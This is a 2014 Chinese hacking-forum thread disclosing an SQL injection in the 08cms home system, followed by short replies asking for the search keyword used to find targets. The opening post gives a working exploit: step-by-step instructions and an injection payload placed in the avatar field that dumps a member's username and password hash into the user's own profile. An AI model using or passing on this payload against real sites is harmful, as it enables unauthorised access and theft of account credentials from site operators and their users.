请选择 进入手机版 | 继续访问电脑版
查看: 160224|回复: 16

08cms家园系统注入漏洞

[复制链接]
  • TA的每日心情

    昨天 21:37
  • 签到天数: 888 天

    [LV.10]以坛为家III

    发表于 2014-9-5 18:33:47 | 显示全部楼层 |阅读模式
    ##########################################
    # Title :08cms家园系统注入漏洞
    # Team :08 Security Team
    # Author :08安全团队
    # 首发 : 08安全团队
    #######################################
    这个漏洞在5月份已经审计出来了,现在将漏洞放出来。
    注册一个账号 会员资料->基本资料  查看表单得到自己的 MID
    在真实姓名 填写 \
    头像填写
    [AppleScript] 纯文本查看 复制代码
    ,company=(SELECT CONCAT(mname,0x7c,PASSWORD) FROM cms_members limit 0,1) WHERE MID=231

    真实姓名处即可查看

    home.jpg
    home_.jpg

    评分

    参与人数 1i币 +20 贡献 +2 收起 理由
    C4r1st + 20 + 2 支持原创

    查看全部评分

    回复

    使用道具 举报

    该用户从未签到

    发表于 2014-9-5 18:45:02 | 显示全部楼层
    沙发?
    回复

    使用道具 举报

    该用户从未签到

    发表于 2014-9-5 19:45:05 | 显示全部楼层
    话说关键字是啥????{:soso_e113:}
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2014-9-5 21:55:56 | 显示全部楼层

    评分

    参与人数 1i币 -14 收起 理由
    管理01 -14 恶意灌水

    查看全部评分

    回复

    使用道具 举报

    该用户从未签到

    发表于 2014-9-5 23:21:49 | 显示全部楼层
    本帖最后由 邪恶 于 2014-9-5 23:42 编辑

    同关键字是啥》{:soso_e113:}
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2014-9-6 11:43:20 | 显示全部楼层
    碉堡了,赞一个
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2014-9-7 10:47:22 | 显示全部楼层
    提示: 作者被禁止或删除 内容自动屏蔽
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2014-9-9 21:36:37 | 显示全部楼层
    赞 一个  如果代码给的更详细一点就好了
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2014-9-15 09:17:41 | 显示全部楼层
    我测试过,结果没反应
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2015-11-13 14:58
  • 签到天数: 12 天

    [LV.3]偶尔看看II

    发表于 2014-9-18 13:37:18 | 显示全部楼层
    关键字是什么啊  
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    快速回复 返回顶部 返回列表